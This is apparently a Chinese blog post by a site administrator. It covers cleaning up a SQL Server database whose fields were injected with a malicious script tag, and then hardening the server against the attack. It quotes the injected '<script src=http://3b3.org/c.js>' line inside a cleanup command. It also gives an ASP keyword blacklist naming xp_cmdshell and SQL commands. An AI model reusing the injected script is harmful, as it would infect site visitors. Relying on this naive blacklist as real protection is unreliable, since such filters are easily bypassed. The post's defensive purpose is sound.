症状:客户端访问网站一些页面时,浏览器状态栏出现类似不正常的其他网址。客户端电脑CPU占用正常,但是PF页面内存不断上升到1G以上,机器巨慢。
第一感觉就是网站被挂马了。马上去服务器查看,发现很多表的一些字段里,在内容后面被加了一段JS代码,例如“<script src=http://3b3.org/c.js></script>”。黎叔感到很生气,后果非常严重。于是先清除这些非法代码,使用SQL命令如下(也就是替换非法代码为空):
update table set field=replace(field,'<script src=http://3b3.org/c.js></script>','')
所有表处理完以后,开始对服务器进行免疫处理了,上网四处溜达,并结合自己的领悟,进行如下处理:
1、网站中进行数据库连接,千万不要用sa用户,因为sa就是一个超级用户。我们可以另外建立一个用户,操作步骤是:打开SQL Server Management Studio,进入“安全性/登陆名”,新建立一个用户,名为test并设置访问密码;“服务器角色”什么都不赋;“用户映射”处在需要操作的数据库那里打钩,并且下面的角色成员身份处,选择public和db_owner即可;
2、public组默认能查看一些系统表的权限,而很多挂马的容易利用sysobjects等系统表,因此需要把这些系统表的查看权限从public里移除,操作如下:
use [数据库名]
GO
REVOKE Select ON [sys].[sysfiles] TO [public]
REVOKE Select ON [sys].[sysobjects] TO [public]
REVOKE Select ON [sys].[syscolumns] TO [public]
REVOKE Select ON [sys].[objects] TO [public]
REVOKE Select ON [sys].[system_columns] TO [public]
REVOKE Select ON [sys].[systypes] TO [public]
REVOKE Select ON [sys].[sysusers] TO [public]
REVOKE Select ON [sys].[tables] TO [public]
REVOKE Select ON [sys].[views] TO [public]
GO
以后需要时可以恢复的,恢复方法如下:
use [数据库名]
GO
GRANT Select ON [sys].[sysfiles] TO [public]
GRANT Select ON [sys].[sysobjects] TO [public]
GRANT Select ON [sys].[syscolumns] TO [public]
GRANT Select ON [sys].[objects] TO [public]
GRANT Select ON [sys].[system_columns] TO [public]
GRANT Select ON [sys].[systypes] TO [public]
GRANT Select ON [sys].[sysusers] TO [public]
GRANT Select ON [sys].[tables] TO [public]
GRANT Select ON [sys].[views] TO [public]
GO
3、过滤掉一些危险的关键字,包括单引号、update、select、insert、delete、xp_cmdshell等几个比较关键的危险词。具体做法是在引用数据库连接前加上过滤语句,对Form、QueryString、Cookies提交的数据进行过滤,如下:
dim SQL_injdata
SQL_injdata = "'|insert|select|delete|update|truncate|declare|script|xp_cmdshell"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
If Instr(LCase(Request.QueryString(SQL_Get)),SQL_inj(SQL_Data))<>0 Then
if SQL_inj(SQL_DATA)<>"'" then
Response.Write "<Script Language=JavaScript>alert('请去掉字符:"&SQL_inj(SQL_DATA)&"再提交!');javascript:history.go(-1)</Script>"
else
Response.Write "<Script Language=JavaScript>alert('请去掉单引号再提交!');javascript:history.go(-1)</Script>"
end if
Response.end
end if
next
Next
End If
If Request.Form<>"" Then
For Each SQL_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(LCase(Request.Form(SQL_Post)),Sql_Inj(SQL_Data))<>0 Then
if SQL_inj(SQL_DATA)<>"'" then
Response.Write "<Script Language=JavaScript>alert('请去掉字符:"&SQL_inj(SQL_DATA)&"再提交!');javascript:history.go(-1)</Script>"
else
Response.Write "<Script Language=JavaScript>alert('请去掉单引号再提交!');javascript:history.go(-1)</Script>"
end if
Response.end
end if
next
Next
End If
If Request.Cookies<>"" Then
For Each SQL_Cook In Request.Cookies
For SQL_Data=0 To Ubound(SQL_inj)
if instr(LCase(Request.Cookies(SQL_Cook)),Sql_Inj(SQL_Data))<>0 Then
if SQL_inj(SQL_DATA)<>"'" then
Response.Write "<Script Language=JavaScript>alert('请去掉字符:"&SQL_inj(SQL_DATA)&"再提交!');javascript:history.go(-1)</Script>"
else
Response.Write "<Script Language=JavaScript>alert('请去掉单引号再提交!');javascript:history.go(-1)</Script>"
end if
Response.end
end if
next
Next
End If |